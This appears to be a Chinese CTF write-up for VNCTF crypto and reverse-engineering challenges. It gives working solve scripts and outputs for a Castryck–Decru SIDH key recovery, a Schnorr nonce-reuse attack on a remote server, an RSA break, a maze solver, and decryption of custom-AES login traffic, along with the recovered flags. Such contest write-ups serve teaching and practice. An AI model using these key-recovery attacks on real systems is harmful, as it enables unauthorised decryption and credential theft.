attack = globals()["CastryckDecruAttack"]
spec = inspect.getfullargspec(attack)
pool = {
"a": a, "b": b, "p": p,
"E_start": E_start, "E0": E_start, "E": E_start,
"EA": EA, "PA": PA, "QA": QA,
"EB": EB, "PB": PB, "QB": QB,
"P2": P2, "Q2": Q2, "P3": P3, "Q3": Q3,
"two_i": two_i,
}
kwargs = {}
for name in spec.args:
if name in pool:
kwargs[name] = pool[name]
else:
lname = name.lower()
if lname in pool:
kwargs[name] = pool[lname]
print("[+] running Castryck–Decru on this instance ...")
buf = io.StringIO()
with redirect_stdout(buf):
ret = attack(**kwargs)
out = buf.getvalue()
bobs_key = None
try:
if ret is not None:
bobs_key = ZZ(ret)
except Exception:
pass
if bobs_key is None:
bobs_key = extract_bob_key(out)
if bobs_key is None:
print("[!] Attack output:\n", out)
raise RuntimeError("Attack did not return/print Bob key.")
print("[+] recovered Bob secret key =", bobs_key)
# ============================================================
# 6) shared j + decrypt
# shared_kernel_B = PA + skB*QA on EA
# ============================================================
shared_kernel = PA + bobs_key * QA
phi_shared = EA.isogeny(shared_kernel, algorithm="factored")
shared_j = phi_shared.codomain().j_invariant()
print("[+] shared j =", shared_j)
key = sha256(str(shared_j).encode()).digest()
iv = bytes.fromhex(data["iv"])
ct = bytes.fromhex(data["ciphertext"])
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pt = unpad(pt, 16)
print("[+] plaintext (bytes):", pt)
try:
print("[+] plaintext (utf-8):", pt.decode())
except Exception:
pass

结果

(latt) ➜ Crypto sage solve.sage
[+] a,b = 82 57
[+] p bits = 173
[+] deobfuscation OK (all integers)
[+] reconstructed curves and points
[*] load speedup.sage
[*] load castryck_decru_attack.sage
[*] load castryck_decru_shortcut.sage
[+] running Castryck–Decru on this instance ...
[+] recovered Bob secret key = 10886546902217234201381501
[+] shared j = 1142866251494327722024722943408357092304346310508060*i + 475127538965250882165412064274589165530169435364320
[+] plaintext (bytes): b'VNCTF{wo_buzhidao_shuoshenmo_zhejiushiFLAG}'
[+] plaintext (utf-8): VNCTF{wo_buzhidao_shuoshenmo_zhejiushiFLAG}

Schnorr#

这题虽然写着 Special Honest Verifier ZK,但 Schnorr 本身同时具备 special soundness: 只要拿到 同一个承诺 (B=g^b) 下、两个不同挑战 (x) 的响应 (z),就能把 witness (a) 解出来:

[ z \equiv xa + b \pmod{p-1} ]

同一个 (b) 时两次:

[ \begin{aligned} z_1 &\equiv x_1 a + b
z_2 &\equiv x_2 a + b \end{aligned} \Rightarrow z_2 - z_1 \equiv (x_2-x_1)a \pmod{p-1} ]

取 (x_1=1, x_2=2)(差是 1),直接得到:

[ a \equiv z_2 - z_1 \pmod{p-1} ]

关键是:远程服务每次连接都会用同一个 init_seed 初始化“伪随机”,所以 每次新连接的 Round1 会产生相同的 (b),从而相同的 (B)。 于是我们开两次连接,各拿一次 Round1:第一次发 (x=1) 得 (z_1),第二次发 (x=2) 得 (z_2),立刻恢复 (a),进而恢复 flag(通常 flag 很短,小于 512-bit 的 (p-1),不会发生取模折叠;保险起见可以试 (a+k(p-1)))。

下面给你完整可跑的解题脚本(pwntools):

#!/usr/bin/env python3
from pwn import remote, context
import re
from Crypto.Util.number import long_to_bytes
context.log_level = "error" # 想看交互可改成 "debug"
HOST = "114.66.24.228"
PORT = 32487
re_int = re.compile(rb"^\s*([A-Za-z]+)\s*=\s*([0-9]+)\s*$")
def recv_int_line(io, key: bytes) -> int:
"""
Read lines until we find: "<key> = <int>"
"""
while True:
line = io.recvline(timeout=5)
if not line:
raise EOFError("connection closed while reading")
m = re_int.match(line)
if m and m.group(1) == key:
return int(m.group(2))
def get_round1_transcript(challenge_x: int):
"""
Connect once, parse p,g,A,B from round 1, send x, parse z.
Return (p, g, A, B, z)
"""
io = remote(HOST, PORT)
# Public parameters
p = recv_int_line(io, b"p")
g = recv_int_line(io, b"g")
A = recv_int_line(io, b"A")
# Round 1 commitment
B = recv_int_line(io, b"B")
# Challenge prompt -> send x
io.recvuntil(b"x = ")
io.sendline(str(challenge_x).encode())
# Response
z = recv_int_line(io, b"z")
# End the session (answer 'n' to continue)
io.recvuntil(b"(y/n):")
io.sendline(b"n")
io.close()
return p, g, A, B, z
def recover_flag_from_a(a: int, mod: int):
"""
flag_int = bytes_to_long(flag.encode()) % (p-1) = a
Usually flag_int < mod, so a is exact.
But we try a + k*mod a few times to be safe.
"""
for k in range(0, 8):
cand = a + k * mod
bs = long_to_bytes(cand)
# 常见 CTF flag 格式
if b"flag{" in bs and bs.endswith(b"}"):
try:
return bs.decode()
except:
return bs
# 有些题是 FLAG{...}
if b"FLAG{" in bs and bs.endswith(b"}"):
try:
return bs.decode()
except:
return bs
# fallback: 直接返回最可能的那个
try:
return long_to_bytes(a).decode()
except:
return long_to_bytes(a)
def main():
# 第一次:x1=1
p1, g1, A1, B1, z1 = get_round1_transcript(1)
# 第二次:x2=2
p2, g2, A2, B2, z2 = get_round1_transcript(2)
# sanity checks:确保两次是同一组参数且 Round1 的 B 一样(同 nonce)
assert p1 == p2 and g1 == g2 and A1 == A2, "public parameters changed (unexpected)"
assert B1 == B2, "commitment B differs; retry (server might not be deterministic per-connection?)"
mod = p1 - 1
# a = z2 - z1 mod (p-1) because x2-x1=1
a = (z2 - z1) % mod
flag = recover_flag_from_a(a, mod)
print(flag)
if __name__ == "__main__":
main()

VNCTF{e3554c0f-a0bc-44de-b99c-0a25d953a103}

math_rsa#

这题的“额外数学约束”其实把 φ(n) 直接泄露出来了(只差一个 16-bit 素数因子),所以可以把 RSA 秒掉。


1) 把 assert 式子化简(核心突破口)#

题目里:

  • (x = \varphi(n) - 1)
  • (u=\text{16-bit prime})
  • (t = 2u)
  • (y = t + 1)

断言:

[ (x^2+1)(y^2+1) - 2(x-y)(xy-1) = 4(k+xy) ]

把左边展开整理(建议你手推一遍,会发现是个非常漂亮的平方结构),可化为:

[ (y-1)^2(x+1)^2 = 4k ]

代回 (x+1=\varphi(n)),(y-1=t=2u):

[ (2u)^2\varphi(n)^2 = 4k \Rightarrow u^2\varphi(n)^2 = k \Rightarrow (u\varphi(n))^2 = k ]

所以:

[ \sqrt{k} = u\varphi(n) \Rightarrow \varphi(n) = \frac{\sqrt{k}}{u} ]

结论: 只要算出 (r=\sqrt{k}),再找出 16-bit 素数 (u\mid r),就得到了 (\varphi(n))。

这也是出题人把 (k) 写成一个完全平方数的原因:你能直接 isqrt(k) 得到整数。


2) 拿到 φ(n) 后常规分解 n#

有了 (\varphi(n)=(p-1)(q-1)=n-(p+q)+1),可得:

[ p+q = n-\varphi(n)+1 ]

再解二次方程:

[ X^2-(p+q)X+n=0 ]

判别式:

[ \Delta = (p+q)^2-4n ]

(\sqrt{\Delta}) 是整数,进而:

[ p=\frac{(p+q)+\sqrt{\Delta}}2,\quad q=\frac{(p+q)-\sqrt{\Delta}}2 ]

最后解密 (m=c^d\bmod n),其中 (d=e^{-1}\bmod \varphi(n))。


3) 可直接跑的解题脚本(推荐)#

from math import isqrt
from Crypto.Util.number import long_to_bytes
from sympy import primerange
# ====== paste challenge numbers ======
n = 14070754234209585800232634546325624819982185952673905053702891604674100339022883248944477908133810472748877029408864634701590339742452010000798957135872412483891523031580735317558166390805963001389999673532396972009696089072742463405543527845901369617515343242940788986578427709036923957774197805224415531570285914497828532354144069019482248200179658346673726866641476722431602154777272137461817946690611413973565446874772983684785869431957078489177937408583077761820157276339873500082526060431619271198751378603409721518832711634990892781578484012381667814631979944383411800101335129369193315802989383955827098934489
e = 65537
c = 12312807681090775663449755503116041117407837995529562718510452391461356192258329776159493018768087453289696353524051692157990247921285844615014418841030154700106173452384129940303909074742769886414052488853604191654590458187680183616318236293852380899979151260836670423218871805674446000309373481725774969422672736229527525591328471860345983778028010745586148340546463680818388894336222353977838015397994043740268968888435671821802946193800752173055888706754526261663215087248329005557071106096518012133237897251421810710854712833248875972001538173403966229724632452895508035768462851571544231619079557987628227178358
k = 485723311775451084490131424696603828503121391558424003875128327297219030209620409301965720801386755451211861235029553063690749071961769290228672699730274712790110328643361418488523850331864608239660637323505924467595552293954200495174815985511827027913668477355984099228100469167128884236364008368230807336455721259701674165150959031166621381089213574626382643770012299575625039962530813909883594225301664728207560469046767485067146540498028505317113631970909809355823386324477936590351860786770580377775431764048693195017557432320430650328751116174124989038139756718362090105378540643587230129563930454260456320785629555493541609065309679709263733546183441765688806201058755252368942465271917663774868678682736973621371451440269201543952580232165981094719134791956854961433894740133317928275468758142862373593473875148862015695758191730229010960894713851228770656646728682145295722403096813082295018446712479920173040974429645523244575300611492359684052455691388127306813958610152185716611576776736342210195290674162667807163446158064125000445084485749597675094544031166691527647433823855652513968545236726519051559119550903995500324781631036492013723999955841701455597918532359171203698303815049834141108746893552928431581707889710001424400
# ================================
# 1) r = sqrt(k) = u * phi
r = isqrt(k)
assert r * r == k
# 2) 找 16-bit prime u,使 u | r
u_found = None
for u in primerange(2**15, 2**16): # 16-bit primes
if r % u == 0:
u_found = u
break
assert u_found is not None
phi = r // u_found
# 3) 用 phi 分解 n
s = n - phi + 1 # p+q
D = s*s - 4*n
sqrtD = isqrt(D)
assert sqrtD * sqrtD == D
p = (s + sqrtD) // 2
q = (s - sqrtD) // 2
assert p * q == n
# 4) RSA 解密
d = pow(e, -1, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

4) 本题最终 flag#

根据给出的数据跑出来明文是:

VNCTF{hell0_rsa_w0rld!}

ez_maze#

动调脱壳

主逻辑

// Hidden C++ exception states: #wind=3
__int64 __fastcall sub_7FF70DBE1920(CWnd *a1)
{
int n19_2; // esi
char v3; // di
__int64 v4; // rdx
bool v5; // bl
__int64 n1600; // rax
CWnd *v7; // rcx
__int64 n400; // r14
__int64 n20; // rdi
__int64 n400_1; // rbx
__int64 n19; // rbx
__int64 n19_1; // rdi
__int64 n19_4; // r14
_QWORD *v14; // rax
int n19_3; // r12d
unsigned int v16; // r13d
__int64 v17; // r14
__int64 v18; // r15
unsigned __int64 n0x13_1; // rbx
unsigned __int64 n0x13; // rdi
__int16 v21; // ax
_QWORD *v23; // [rsp+20h] [rbp-58h]
_BYTE v24[8]; // [rsp+28h] [rbp-50h] BYREF
__int64 v25; // [rsp+30h] [rbp-48h] BYREF
const wchar_t *v26; // [rsp+38h] [rbp-40h] BYREF
n19_2 = 0;
v3 = 0;
LODWORD(v25) = 0;
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v25);
CWnd::GetWindowTextW((char *)a1 + 376, &v25);
v5 = 1;
if ( *(_DWORD *)(v25 - 16) )
{
v3 = 1;
v4 = *(_QWORD *)ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::SpanIncluding(
&v25,
&v26,
aWasd); // "wasd"
if ( *(_DWORD *)(v4 - 16) == *(_DWORD *)(v25 - 16) )
v5 = 0;
}
if ( (v3 & 1) != 0 )
ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v26);
if ( v5 )
{
CWnd::MessageBoxW(a1, (const wchar_t *)qword_7FF70DBE4DC0, aError, 0x10u);// "Error"
return ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v25);
}
srand(0x64u);
n1600 = 0;
v7 = a1;
do
{
*((_DWORD *)v7 + 152) = 1;
*(_DWORD *)((char *)a1 + n1600 + 612) = 1;
*(_DWORD *)((char *)a1 + n1600 + 616) = 1;
*(_DWORD *)((char *)a1 + n1600 + 620) = 1;
*(_DWORD *)((char *)a1 + n1600 + 624) = 1;
*(_DWORD *)((char *)a1 + n1600 + 628) = 1;
*(_DWORD *)((char *)a1 + n1600 + 632) = 1;
*(_DWORD *)((char *)a1 + n1600 + 636) = 1;
*(_DWORD *)((char *)a1 + n1600 + 640) = 1;
*(_DWORD *)((char *)a1 + n1600 + 644) = 1;
*(_DWORD *)((char *)a1 + n1600 + 648) = 1;
*(_DWORD *)((char *)a1 + n1600 + 652) = 1;
*(_DWORD *)((char *)a1 + n1600 + 656) = 1;
*(_DWORD *)((char *)a1 + n1600 + 660) = 1;
*(_DWORD *)((char *)a1 + n1600 + 664) = 1;
*(_DWORD *)((char *)a1 + n1600 + 668) = 1;
*(_DWORD *)((char *)a1 + n1600 + 672) = 1;
*(_DWORD *)((char *)a1 + n1600 + 676) = 1;
*(_DWORD *)((char *)a1 + n1600 + 680) = 1;
*(_DWORD *)((char *)a1 + n1600 + 684) = 1;
n1600 += 80;
v7 = (CWnd *)((char *)v7 + 80);
}
while ( n1600 < 1600 );
*((_DWORD *)a1 + 152) = 0;
for ( n400 = 0; n400 < 400; n400 += 20 )
{
n20 = 0;
n400_1 = n400;
do
{
if ( rand() % 10 > 2 )
*((_DWORD *)a1 + n400_1 + 152) = 0;
++n20;
++n400_1;
}
while ( n20 < 20 );
}
*((_DWORD *)a1 + 152) = 0;
n19 = 0;
n19_1 = 0;
while ( n19_1 != 19 )
{
if ( n19_1 >= 19 )
{
LABEL_20:
if ( n19 < 19 )
++n19;
*((_DWORD *)a1 + 20 * n19 + n19_1 + 152) = 0;
}
else
{
n19_4 = n19_1 + 1;
if ( n19 < 19 && (rand() & 1) != 0 )
{
++n19;
n19_4 = n19_1;
}
n19_1 = n19_4;
*((_DWORD *)a1 + 20 * n19 + n19_4 + 152) = 0;
}
}
if ( n19 != 19 )
goto LABEL_20;
*((_DWORD *)a1 + 551) = 0;
v14 = (_QWORD *)ATL::CSimpleStringT<wchar_t,1>::CSimpleStringT<wchar_t,1>(v24, &v25);
v23 = v14;
n19_3 = 0;
v16 = 0;
if ( *(int *)(*v14 - 16LL) > 0 )
{
v17 = 0;
v18 = 0;
n0x13_1 = 0;
n0x13 = 0;
while ( 1 )
{
v21 = ATL::CSimpleStringT<wchar_t,1>::operator[](v14, v16);
switch ( v21 )
{
case 'a':
++n19_2;
++v17;
++n0x13;
break;
case 'd':
--n19_2;
--v17;
--n0x13;
break;
case 's':
--n19_3;
--n0x13_1;
v18 -= 20;
break;
case 'w':
++n19_3;
++n0x13_1;
v18 += 20;
break;
}
if ( n0x13 > 0x13 || n0x13_1 > 0x13 || *((_DWORD *)a1 + v18 + v17 + 152) == 1 )
break;
if ( (signed int)++v16 >= *(_DWORD *)(*v23 - 16LL) )
{
if ( n19_2 == 19 && n19_3 == 19 )
{
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v26);
ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::Format(&v26, aCorrectYourFla, *v23);// "correct! your flag is VNCTF{%s} "
CWnd::MessageBoxW(a1, v26, aCongratulation, 0x40u);// "Congratulations"
ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v26);
goto LABEL_47;
}
break;
}
v14 = v23;
}
}
CWnd::MessageBoxW(a1, aWrongTryAgain, aError, 0x10u);// "Error"
LABEL_47:
ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(v23);
return ATL::CSimpleStringT<wchar_t,1>::~CSimpleStringT<wchar_t,1>(&v25);
}

编写解密脚本

import collections
# ==========================================
# 1. 模拟 MSVC 的随机数生成器 (LCG算法)
# ==========================================
class MSVCRand:
def __init__(self, seed):
self.state = seed
def rand(self):
# MSVC rand() 的标准实现
self.state = (self.state * 214013 + 2531011) & 0xFFFFFFFF
return (self.state >> 16) & 0x7FFF
# ==========================================
# 2. 复现地图生成逻辑
# ==========================================
def generate_map():
r = MSVCRand(0x64) # srand(100)
# 初始化 20x20 网格,默认为 1 (墙)
grid = [1] * 400
# 第一遍:随机打洞 (70%概率变成路)
for i in range(400):
if (r.rand() % 10) > 2:
grid[i] = 0
# 第二遍:生成必通路径
# 逻辑对应代码中的 while ( n19_1 != 19 ) ...
grid[0] = 0 # 起点设为路
x, y = 0, 0
while x != 19:
next_x = x + 1
move_down = False
# 对应: if ( n19 < 19 && (rand() & 1) != 0 )
if y < 19:
if (r.rand() & 1) != 0:
move_down = True
if move_down:
y += 1
# 如果向下走,x 不变 (next_x 回退为 x)
next_x = x
x = next_x
grid[y * 20 + x] = 0
# 处理剩下的部分(如果x到了19但y还没到19,直通到底)
while y < 19:
y += 1
grid[y * 20 + x] = 0
return grid
# ==========================================
# 3. BFS 寻找最短路径
# ==========================================
def solve_maze(grid):
start = (0, 0)
target = (19, 19)
queue = collections.deque([(start, "")]) # (坐标, 路径字符串)
visited = set()
visited.add(start)
# 题目定义的诡异操作键位
# 'w': Down (y+1)
# 's': Up (y-1)
# 'a': Right(x+1)
# 'd': Left (x-1)
moves = [
(0, 1, 'w'),
(0, -1, 's'),
(1, 0, 'a'),
(-1, 0, 'd')
]
while queue:
(cx, cy), path = queue.popleft()
if (cx, cy) == target:
return path
for dx, dy, key in moves:
nx, ny = cx + dx, cy + dy
# 检查边界
if 0 <= nx < 20 and 0 <= ny < 20:
# 检查是否撞墙 (0是路,1是墙)
if grid[ny * 20 + nx] == 0:
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append(((nx, ny), path + key))
return None
# ==========================================
# Main
# ==========================================
maze = generate_map()
flag_path = solve_maze(maze)
print(f"最短路径长度: {len(flag_path)}")
print(f"Flag: VNCTF{{{flag_path}}}")
# 可视化地图 (方便调试)
print("\n地图预览 (S:起点, E:终点, .:路, #:墙):")
for y in range(20):
line = ""
for x in range(20):
if x == 0 and y == 0: char = "S"
elif x == 19 and y == 19: char = "E"
else: char = "." if maze[y*20+x] == 0 else "#"
line += char + " "
print(line)
最短路径长度: 38
Flag: VNCTF{wwawwawwwaawwawawwaaawwawwwwaaaaaaawaa}
地图预览 (S:起点, E:终点, .:路, #:墙):
S . . . . . . # . . # . . . . . . # . #
. . # # . . . . # # . # . . . . . # . .
. . . # . . . . . . # # . . . # . . . .
# . . # . # . . . . # . # . . . # . # .
. . . . . # # . # . # . . . . . # # . #
. # . . . . . # # # . . . . # # # . # .
. . . # . . . # # . . # # # . . # . . .
. # . . . # . # . . # . . . # . . . . .
. . # # . . # . . . . # . # . . # # . #
# . # . . . . . . # . . . . . # . # # .
# . # . # . . . . # . . # . . . # . # .
. . . . # # . . . . . . . . . . # # # .
. . . . # . . . . . . . . . . # . . . .
# . . . . # . # # . # . . . . . . . # #
# . # . . . # . # . . . . . . # . . . .
# # # . . # . . . # . . . # # . . . . .
. . . . . # # . # . . # . . . . # . # .
# . # . # # . . . # . . . . . . # . # .
. # . # . . . . . . . . . . . . . . . .
. # . . # . . . . # . . # . # . # . . E
进程已结束,退出代码为 0

Login#

分析后在流量包找getkey

GET /getkey HTTP/1.1
Accept: text/plain
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; 2312DRAABC Build/AP3A.240905.015.A2)
Host: 192.168.1.5:8080
Connection: Keep-Alive
Accept-Encoding: gzip
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.11.0
Date: Fri, 23 Jan 2026 11:58:42 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 16
MnpiiylSrRk_mZ-H
POST /register HTTP/1.1
Content-Type: text/plain; charset=utf-8
sign: ff42fc4b17a74e63052d9b02886b4f3e
Content-Length: 64
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; 2312DRAABC Build/AP3A.240905.015.A2)
Host: 192.168.1.5:8080
Connection: Keep-Alive
Accept-Encoding: gzip
Y7nFpNWxMh0rzWixEN1+1dzQPzjE/PxfCVWEvGww3eK+fIstVlwllNUaHFujEvegHTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.11.0
Date: Fri, 23 Jan 2026 11:58:55 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 16
register success
POST /login HTTP/1.1
Content-Type: text/plain; charset=utf-8
sign: ff42fc4b17a74e63052d9b02886b4f3e
Content-Length: 64
User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; 2312DRAABC Build/AP3A.240905.015.A2)
Host: 192.168.1.5:8080
Connection: Keep-Alive
Accept-Encoding: gzip
Y7nFpNWxMh0rzWixEN1+1dzQPzjE/PxfCVWEvGww3eK+fIstVlwllNUaHFujEvegHTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.11.0
Date: Fri, 23 Jan 2026 11:59:14 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 27
VNCTF{test!!test!!!test!!!}

分析.so

base64表是自定义的

aRstuvwlbcdefgh db ‘RSTUVWLbcdefghiMNOPrstuvQXYZajCklmnEFGHIJKwxyz01ABD234opq56789+/‘,0

sbox提取出来

91直接要素察觉(AddRoundKey 额外 XOR 0x91

开始直接用 APP 登录会提示要用相同手机(因为 ctx 不同失败

解密脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
# ================= Configuration =================
# 题目给出的 Key 和 Ciphertext
TARGET_KEY = "MnpiiylSrRk_mZ-H"
TARGET_CIPHER = "Y7nFpNWxMh0rzWixEN1+1dzQPzjE/PxfCVWEvGww3eK+fIstVlwllNUaHFujEveg"
# 自定义 Base64 字母表
ALPHABET = "RSTUVWLbcdefghiMNOPrstuvQXYZajCklmnEFGHIJKwxyz01ABD234opq56789+/"
DEC_MAP = {ch: i for i, ch in enumerate(ALPHABET)}
# 自定义 S-Box
SBOX_HEX = """
20 7b 18 a7 42 44 d7 4a cd 32 d1 ec f3 81 a5 89 0e 91 4b f0
e9 5d 8d f5 46 fc 31 36 b6 ac 9b b9 26 09 e6 40 d4 b0 51 4f
9c 3e e7 79 30 88 b1 3c 7a 5c d3 14 5a ab 56 c0 04 29 d0 3b
1f f9 a3 57 00 8a 84 16 f4 1a ea 64 a6 d6 2e be 2f 17 c4 e0
1e 02 3a 22 8f 9f cb a8 2c 67 34 25 d5 ff ef f6 e2 aa d9 72
fe ce a1 78 85 96 2a 77 ca c1 37 74 a2 5e 6c fd b8 4d 7d 70
b3 dd cf 71 73 61 f8 19 48 e3 63 33 3d 15 ae 98 e5 80 bd bc
82 c6 94 01 e4 de 06 50 95 df 47 f7 90 8b 45 9a 6e 07 ad 1c
35 83 68 03 6f 5b b7 fb 1d c5 10 7c d8 6a cc 69 8e 24 4c 39
b4 a0 0b 52 e8 a9 b2 8c 0a bf 28 86 6d af da 41 fa 75 b5 43
c3 60 62 2b 55 f2 9e 2d 12 23 0d db 6b c7 38 7f 5f 97 08 ed
e1 bb ee 9d d2 92 49 3f dc 58 87 c2 ba 99 c9 4e f1 21 eb 13
65 59 76 0c c8 05 a4 54 93 1b 66 11 27 53 7e 0f
"""
SBOX = bytes(int(x, 16) for x in re.findall(r"[0-9a-fA-F]{2}", SBOX_HEX))
# 生成逆 S-Box
INV_SBOX = bytearray(256)
for i, b in enumerate(SBOX):
INV_SBOX[b] = i
INV_SBOX = bytes(INV_SBOX)
# 自定义 Rcon (作用于 MSB)
RCON = [
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000,
0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000
]
# ================= AES Utils =================
def b64_custom_decode(s: str) -> bytes:
s = re.sub(r"\s+", "", s.strip())
if len(s) % 4 != 0:
raise ValueError("cipher length must be multiple of 4")
out = bytearray()
for i in range(0, len(s), 4):
quad = s[i:i + 4]
pads = quad.count("=")
vals = []
for ch in quad:
if ch == "=":
vals.append(0)
else:
vals.append(DEC_MAP[ch])
n = (vals[0] << 18) | (vals[1] << 12) | (vals[2] << 6) | vals[3]
out.append((n >> 16) & 0xFF)
if pads < 2:
out.append((n >> 8) & 0xFF)
if pads < 1:
out.append(n & 0xFF)
return bytes(out)
def bytes_to_state(block: bytes) -> list[int]:
# 标准 AES 列优先填充 (Column-Major)
# st[0] st[4] st[8] st[12]
# st[1] st[5] st[9] st[13]
# ...
st = [0] * 16
idx = 0
for col in range(4):
for row in range(4):
st[4 * row + col] = block[idx]
idx += 1
return st
def state_to_bytes(st: list[int]) -> bytes:
out = bytearray(16)
idx = 0
for col in range(4):
for row in range(4):
out[idx] = st[4 * row + col] & 0xFF
idx += 1
return bytes(out)
def xtime(b: int) -> int:
b &= 0xFF
return (((b << 1) ^ 0x1B) & 0xFF) if (b & 0x80) else ((b << 1) & 0xFF)
def gf_mul(a: int, b: int) -> int:
res = 0
while a:
if a & 1:
res ^= b
b = xtime(b)
a >>= 1
return res & 0xFF
def inv_mix_columns(st: list[int]) -> None:
for col in range(4):
a0 = st[0 * 4 + col];
a1 = st[1 * 4 + col];
a2 = st[2 * 4 + col];
a3 = st[3 * 4 + col]
st[0 * 4 + col] = gf_mul(0x0e, a0) ^ gf_mul(0x0b, a1) ^ gf_mul(0x0d, a2) ^ gf_mul(0x09, a3)
st[1 * 4 + col] = gf_mul(0x09, a0) ^ gf_mul(0x0e, a1) ^ gf_mul(0x0b, a2) ^ gf_mul(0x0d, a3)
st[2 * 4 + col] = gf_mul(0x0d, a0) ^ gf_mul(0x09, a1) ^ gf_mul(0x0e, a2) ^ gf_mul(0x0b, a3)
st[3 * 4 + col] = gf_mul(0x0b, a0) ^ gf_mul(0x0d, a1) ^ gf_mul(0x09, a2) ^ gf_mul(0x0e, a3)
def inv_shift_rows(st: list[int]) -> None:
for row in range(4):
r = st[4 * row:4 * row + 4]
rot = row
# 逆移位:右移 row 位
st[4 * row:4 * row + 4] = (r[-rot:] + r[:-rot]) if rot else r
def inv_sub_bytes(st: list[int]) -> None:
for i in range(16):
st[i] = INV_SBOX[st[i]]
def add_round_key(st: list[int], words4: list[int]) -> None:
# 核心魔改点:对应 sub_25D80,每个字节额外异或 0x91
# words4 是该轮的4个32位密钥字
for row in range(4):
for col in range(4):
w = words4[col]
# 从 32位字中提取对应行的字节 (Big Endian 视角)
kb = (w >> (24 - 8 * row)) & 0xFF
st[4 * row + col] ^= (kb ^ 0x91)
st[4 * row + col] &= 0xFF
def subword(w: int) -> int:
return ((SBOX[(w >> 24) & 0xFF] << 24) |
(SBOX[(w >> 16) & 0xFF] << 16) |
(SBOX[(w >> 8) & 0xFF] << 8) |
(SBOX[w & 0xFF]))
def rotword(w: int) -> int:
return ((w << 8) & 0xFFFFFFFF) | ((w >> 24) & 0xFF)
def expand_key(key16: bytes) -> list[int]:
# 核心魔改点:RCON 作用在 MSB
w = [0] * 44
for i in range(4):
w[i] = int.from_bytes(key16[4 * i:4 * i + 4], "big")
for i in range(4, 44):
temp = w[i - 1]
if i % 4 == 0:
temp = subword(rotword(temp)) ^ RCON[i // 4 - 1]
w[i] = w[i - 4] ^ temp
return w
def decrypt_block(ct_block: bytes, w: list[int]) -> bytes:
st = bytes_to_state(ct_block)
def rk(round_idx: int) -> list[int]:
return w[4 * round_idx:4 * round_idx + 4]
# Round 10: ARK + ISR + ISB
add_round_key(st, rk(10))
inv_shift_rows(st)
inv_sub_bytes(st)
# Round 9-1
for rnd in range(9, 0, -1):
add_round_key(st, rk(rnd))
inv_mix_columns(st)
inv_shift_rows(st)
inv_sub_bytes(st)
# Round 0: ARK
add_round_key(st, rk(0))
return state_to_bytes(st)
# ================= Main =================
def main():
print(f"[*] Key: {TARGET_KEY}")
print(f"[*] Cipher: {TARGET_CIPHER}")
# 1. Expand Key
key_bytes = TARGET_KEY.encode()[:16]
w = expand_key(key_bytes)
# 2. Base64 Decode
ct_bytes = b64_custom_decode(TARGET_CIPHER)
if len(ct_bytes) % 16 != 0:
print("[-] Error: Ciphertext length is not a multiple of 16.")
return
# 3. Decrypt
pt = b"".join(decrypt_block(ct_bytes[i:i + 16], w) for i in range(0, len(ct_bytes), 16))
# 4. Remove Padding (0x01 alignment)
pt_clean = pt.rstrip(b"\x01")
try:
s = pt_clean.decode("utf-8")
except:
s = pt_clean.decode("latin1")
print("\n" + "=" * 40)
print(f"[+] Decrypted Plaintext:\n{s}")
print("=" * 40)
if ":" in s:
parts = s.split(":")
if len(parts) >= 3:
print(f" Username: {parts[0]}")
print(f" Password: {parts[1]}")
print(f" Ctx : {parts[2]}")
if __name__ == "__main__":
main()
[*] Key: MnpiiylSrRk_mZ-H
[*] Cipher: Y7nFpNWxMh0rzWixEN1+1dzQPzjE/PxfCVWEvGww3eK+fIstVlwllNUaHFujEveg
========================================
[+] Decrypted Plaintext:
VNCTF2026:Vv&nN_W3lC0me!!:b2e90a5f379ea4db
========================================
Username: VNCTF2026
Password: Vv&nN_W3lC0me!!
Ctx : b2e90a5f379ea4db

用正确的ctx访问得到

VNCTF{e2_7RaFFlC_1oGIN_aAUBvHZW}

MyMnemonic#

序号超出范围(0~2047)

2047是2的11次方-1

10位吗?

12x16的黑白格 192

12个助记词的意思吗

['0001011110101110',
'0001111011011101',
'0011101010000101',
'1100101001111011',
'1011011010000000',
'1001110000110110',
'0001110110011011',
'0000111011010100',
'0010110111101110',
'1011011000010011',
'1011000111100000',
'0111010111110100']

我按“从左到右、从上到下(row-major)”把 192bit 读成熵,算出来的结果

  1. 熵(entropy)24 字节 hex
17ae1edd3a85ca7bb6809c361d9b0ed42deeb613b1e075f4
  1. checksum(6 bit)
101011
  1. 最终 18 个 0~2047 的序号(就是要去查 wordlist 的 index)

按 BIP39(ENT+CS 后每 11 bit 切)得到:

189 903 1466 936 741 494 1744 156 432 1894 1565 1346 1783 728 630 480 943 1323

189 903 1466 936 741 494 1744 156 432 1894 1565 1346 1783 728 630 480 943 1323

纳 百 福 财 源 似 水 而 至 走 大 运 事 业 如 日 中 天

上面这个检验通过了

校验通过的助记词算出的 BIP39 Seed

助记词(18词): 纳 百 福 财 源 似 水 而 至 走 大 运 事 业 如 日 中 天

